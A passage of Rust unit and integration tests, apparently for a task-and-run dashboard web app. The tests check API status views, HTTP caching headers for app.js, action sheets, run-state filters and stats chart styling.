14959 assert_eq!(view1["latest_attempt"]["status"], "blocked");
14960 assert_eq!(view1["latest_attempt"]["done"], true);
14961
14962 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14964 write_run(&runs, run_a, RunStatus::Blocked);
14965 write_run(&runs, run_b, RunStatus::Implementing);
14966 let mut t3 = Task::new(
14967 "retrying".to_owned(),
14968 "do it".to_owned(),
14969 PathBuf::from("/repo"),
14970 Source::Human,
14971 );
14972 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14973 q.put(&mut t3).expect("put");
14974 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14975 assert_eq!(view3["latest_attempt"]["id"], run_b);
14976 assert_eq!(view3["latest_attempt"]["resolved"], false);
14977 assert_eq!(view3["latest_attempt"]["done"], false);
14978
14979 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14984 write_run(&runs, noop_a, RunStatus::Blocked);
14985 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14986 let mut t2 = Task::new(
14987 "claims done".to_owned(),
14988 "do it".to_owned(),
14989 PathBuf::from("/repo"),
14990 Source::Human,
14991 );
14992 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14993 q.put(&mut t2).expect("put");
14994 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14995 assert_eq!(
14996 view2["latest_attempt"]["resolved"], false,
14997 "an unverified no-op claim must not read as a confirmed finish"
14998 );
14999
15000 assert!(APP_JS.contains("latest.resolved"));
15003 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15006 assert!(APP_JS.contains("Latest attempt: "));
15007 assert!(APP_JS.contains("in flight"));
15008 assert!(APP_JS.contains("not resolved"));
15009 }
15010
15011 #[tokio::test]
15012 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15013 let fx = Fixture::start().await;
15014 let js = fx.get("/app.js").await;
15020 assert_eq!(js.status, 200);
15021 let tag = js
15022 .header("etag")
15023 .expect("an etag to revalidate against")
15024 .to_owned();
15025 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15026 assert_eq!(
15027 js.header("cache-control"),
15028 Some("no-cache, must-revalidate"),
15029 "the phone has to ask every time"
15030 );
15031
15032 let again = fx
15035 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15036 .await;
15037 assert_eq!(
15038 again.status, 304,
15039 "a deck it already has costs one round trip"
15040 );
15041 assert!(again.body.is_empty(), "304 carries no body");
15042
15043 let weak = fx
15046 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15047 .await;
15048 assert_eq!(weak.status, 304);
15049 let stale = fx
15050 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15051 .await;
15052 assert_eq!(stale.status, 200, "an older build must be replaced");
15053 assert!(stale.body.contains("renderRunActions"));
15054 }
15055
15056 #[test]
15057 fn the_task_detail_has_an_actions_fab_and_sheet() {
15058 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15059 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15060 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15061 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15063 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15064 assert!(APP_JS.contains("renderTaskActions(task);"));
15066 assert!(APP_JS.contains("renderTaskActions(null);"));
15067 let sheet = APP_JS
15069 .find("function renderTaskActions")
15070 .expect("sheet renderer");
15071 let body = &APP_JS[sheet..sheet + 3000];
15072 assert!(body.contains("changePriority("));
15073 assert!(body.contains("openTaskEdit(task)"));
15074 assert!(body.contains("renderTaskHoldBox(host"));
15075 assert!(body.contains("renderTaskDoneBox(host"));
15076 assert!(body.contains("renderTaskDeleteBox(host"));
15077 assert!(APP_JS.contains("API.priority(id)"));
15078 assert!(APP_JS.contains("API.deleteTask(id)"));
15079 assert!(APP_JS.contains("location.hash = \"#/queue\""));
15081 assert!(APP_JS.contains("$(\"task-actions-error\")"));
15083 }
15084
15085 #[test]
15086 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15087 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15088 let actions = INDEX_HTML
15089 .find("id=\"run-actions-box\"")
15090 .expect("actions box");
15091 assert!(task < actions, "the task entry comes first in the sheet");
15092 assert!(APP_JS.contains("renderRunTaskEntry"));
15093 assert!(APP_JS.contains("\"Open task \""));
15094 assert!(APP_JS.contains("started directly, no task"));
15096 assert!(APP_JS.contains("sheet-task-link"));
15097 assert!(APP_JS.contains("task-chip-link"));
15098 }
15099
15100 #[test]
15101 fn the_deck_never_sends_the_operator_to_a_terminal() {
15102 assert!(
15105 !APP_JS.contains("Run `magi fold` first"),
15106 "the deck must offer the fold, not prescribe a shell command"
15107 );
15108 assert!(APP_JS.contains("foldRun:"));
15109 assert!(APP_JS.contains("resumeRun:"));
15110 assert!(APP_JS.contains("renderRunActions"));
15111
15112 assert!(APP_JS.contains("armedFold"));
15114 assert!(APP_JS.contains("Yes, fold worktrees"));
15115
15116 assert!(APP_JS.contains("can no longer be resumed"));
15119 }
15120
15121 #[test]
15122 fn a_finished_run_explains_itself_with_its_own_last_line() {
15123 assert!(
15129 !APP_JS.contains("collapsed on agent quota"),
15130 "a stall must not be explained by a cause the deck did not check"
15131 );
15132 assert!(
15133 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15134 "and a block must not offer a guess with an `or` in it"
15135 );
15136
15137 assert!(
15141 APP_JS.contains("setText(r.event, run.event || \"\")"),
15142 "the run's last line is rendered unconditionally"
15143 );
15144 assert!(
15145 !APP_JS.contains("moving && run.event"),
15146 "and never gated on the run still moving"
15147 );
15148
15149 assert!(APP_JS.contains("lost to quota"));
15151 }
15152
15153 #[test]
15175 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15176 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15177 let shapes_body_start =
15178 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15179 let shapes_close = APP_JS[shapes_body_start..]
15180 .find("].map(")
15181 .expect("the shape list is closed by its done-computing .map(...)")
15182 + shapes_body_start;
15183 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15184
15185 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15186 for entry in shapes_src.split('{').skip(1) {
15187 let waiting = entry.contains("waiting: true");
15188 let dead = entry.contains("live: \"dead\"");
15189 let status_at =
15190 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15191 let status_end = entry[status_at..]
15192 .find('"')
15193 .expect("the status string is closed")
15194 + status_at;
15195 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15196 }
15197 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15198
15199 let done_rule_marker = "done: !";
15203 let done_rule_at = APP_JS[shapes_close..]
15204 .find(done_rule_marker)
15205 .expect("the done rule follows the shape list")
15206 + shapes_close
15207 + done_rule_marker.len();
15208 let includes_at = APP_JS[done_rule_at..]
15209 .find(".includes(shape.status)")
15210 .expect("the done rule ends in .includes(shape.status)")
15211 + done_rule_at;
15212 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15213 .trim()
15214 .trim_start_matches('[')
15215 .trim_end_matches(']')
15216 .split(',')
15217 .map(|s| s.trim().trim_matches('"'))
15218 .filter(|s| !s.is_empty())
15219 .collect();
15220
15221 let shapes: Vec<(bool, String, bool, bool)> = shapes
15222 .into_iter()
15223 .map(|(waiting, status, dead)| {
15224 let done = !not_done.contains(&status.as_str());
15225 (waiting, status, dead, done)
15226 })
15227 .collect();
15228
15229 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15233 if waiting {
15234 return "waiting";
15235 }
15236 if dead
15237 && !matches!(
15238 status,
15239 "merged"
15240 | "ready"
15241 | "stalled"
15242 | "blocked"
15243 | "failed"
15244 | "verified_noop"
15245 | "superseded"
15246 | "already_in_base"
15247 )
15248 {
15249 return "stale";
15250 }
15251 match status {
15252 "merged" | "ready" => "landed",
15253 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15254 | "already_in_base" => "ended",
15255 _ => "flight",
15256 }
15257 }
15258
15259 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15262 match filter_key {
15263 "active" => !done,
15264 "flight" => !done && !waiting && !dead,
15265 "stale" => !done && !waiting && dead,
15266 "waiting" => waiting,
15267 "done" => done,
15268 "all" => true,
15269 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15270 }
15271 }
15272
15273 let compatible = |section: &str, filter_key: &str| {
15274 shapes.iter().any(|(waiting, status, dead, done)| {
15275 run_section(*waiting, status, *dead) == section
15276 && filter_matches(filter_key, *waiting, *dead, *done)
15277 })
15278 };
15279
15280 let expected = [
15285 ("waiting", [true, false, false, true, true, true]),
15286 ("stale", [true, false, true, false, false, true]),
15287 ("flight", [true, true, false, false, false, true]),
15288 ("landed", [false, false, false, false, true, true]),
15289 ("ended", [false, false, false, false, true, true]),
15290 ];
15291 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15292
15293 for (section, wants) in expected {
15294 for (filter_key, want) in filter_keys.iter().zip(wants) {
15295 assert_eq!(
15296 compatible(section, filter_key),
15297 want,
15298 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15299 );
15300 }
15301 }
15302
15303 assert!(
15306 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15307 );
15308 assert!(APP_JS.contains(
15309 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15310 ));
15311 assert!(APP_JS.contains(
15312 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15313 ));
15314 }
15315
15316 #[tokio::test]
15317 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15318 let dir = tempfile::tempdir().expect("tempdir");
15322 let explicit = dir.path().join("not-a-checkout");
15323 std::fs::create_dir_all(&explicit).expect("create dir");
15324 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15325
15326 let missing = dir.path().join("does-not-exist-at-all");
15327 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15328 }
15329
15330 #[test]
15331 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15332 assert!(APP_JS.contains("function statsDonutArcs"));
15333 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15334 assert!(APP_JS.contains("function statusInBucket"));
15336 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15337 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15338 let buckets = [
15339 "merged",
15340 "ready",
15341 "in_progress",
15342 "blocked",
15343 "failed",
15344 "verified_noop",
15345 "superseded",
15346 "stalled",
15347 ];
15348 for key in buckets {
15349 let var = format!("--verdict-{key}:");
15350 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15352 assert!(
15353 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15354 "{key}"
15355 );
15356 }
15357 }
15358}